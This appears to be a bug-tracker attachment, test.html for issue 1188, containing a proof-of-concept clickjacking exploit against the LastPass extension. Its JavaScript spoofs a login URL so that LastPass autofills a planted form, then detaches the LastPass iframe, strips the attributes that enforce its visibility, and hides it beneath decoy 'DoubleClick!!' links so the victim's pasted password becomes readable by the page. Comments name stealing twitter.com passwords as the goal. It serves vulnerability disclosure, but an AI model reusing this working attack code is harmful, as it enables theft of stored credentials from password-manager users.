New issue
Advanced search Search tips

Issue 1188 attachment: test.html (4.1 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<html>
<head>
<script>

var stagedelay = 100;

var domain = "twitter.com" // Domain you want to steal passwords for
var opacity = "0.01" // Set to 0.5 to debug, 0.01 for example attack

var lpwin; // lastpass login form
var exwin; // exploit window
var monitor;

// Create a new window that matches LastPass's silly regex.
lpwin = window.open("data:,." + domain + "/login?");

lpwin.onload = function() {
console.log("lastpass window loaded, data uri", lpwin.location.href)

// Create a form so that lastpass has something to fill in. Note that we
// cannot use document.close(), becuase the URI will update.
lpwin.document.body.innerHTML = document.getElementById('content').value;

// Begin monitoring LastPass...
monitor = setInterval(triggerframe, stagedelay);
}

function triggerframe() {
// Check if lastpass is ready...
if (lpwin.document.getElementsByTagName('iframe').length) {
var frame = lpwin.document.getElementsByTagName('iframe')[0];

// No need to keep clicking...
clearInterval(monitor);

console.log("lastpass initialized, attempting to fix iframe...", frame);

// Fix the src attribute. Note that a download popup will already be
// displayed, it doesn't matter what the user clicks though.
frame.setAttribute("src", "https://invalid/lpblankiframe.local&type=sites");

// Don't need this window anymore
lpwin.close();

console.log("creating fresh window for exploit...");
// Open replacement window
exwin = window.open("data:,." + domain + "/login?");

exwin.onload = function() {
exwin.document.body.bgColor = "red";
exwin.document.body.innerHTML = document.getElementById('template').value;

// Set these before we screw with it, because the resize handler might interfere.
frame.style.width = "256px";
frame.style.height = "64px";

exwin.document.body.appendChild(frame);

// Create a reference in the other window
exwin.zz = frame;

// Remove the id, which tricks lastpass into not enforcing z-index and opacity
frame.removeAttribute("id");
frame.removeAttribute("style");
frame.style.transform = "scale(3)";
frame.style.position = "absolute";
frame.style.overflowX = "hidden";
frame.style.overflowY = "hidden";
frame.style.overflow = "hidden";
frame.style.opacity = opacity;
frame.style.top = "500px";
frame.style.left = "400px";
}

console.log("all done, ready for exploit...");
return;
}

// Trick lastpass into re-checking the page for forms.
lpwin.document.body.click();

var el = lpwin.document.getElementsByTagName("input")[0];
var pos = el.getBoundingClientRect();

console.log("found input element", el);
console.log("attempting to trigger lastpass...", pos);

// Approx? I dunno
el.dispatchEvent(new MouseEvent("click", {
clientX: pos.width + pos.x - 16,
clientY: pos.height + pos.y - 12,
}));
}

</script>
</head>
<body>
<!-- Just a convenient place to write a form template -->
<textarea id=content style="display: none">
<form action="/" method="GET">
<input name="username" type="text">
<input name="password" type="password">
</form>
</textarea>

<!-- This is the clickjacking stuff -->
<textarea id=template style="display: none">
<a href onclick="this.style.display='none'; click2.style.display='block'" id=click1 style="z-index: 1; top: 120px; left: 1060px; position: absolute">DoubleClick!!</a>
<a href onclick="this.style.display='none'; paste.style.display='block'; setTimeout('document.body.removeChild(zz)', 1000)" id=click2 style="display: none; z-index: 1; top: 270px; left: 1060px; position: absolute">DoubleClick!!</a>
<input style="display: none; z-index: 1" id=paste onchange="opener.alert(this.value)" placeholder="Try Pasting Here...." type="text">
</textarea>
</body>
</html>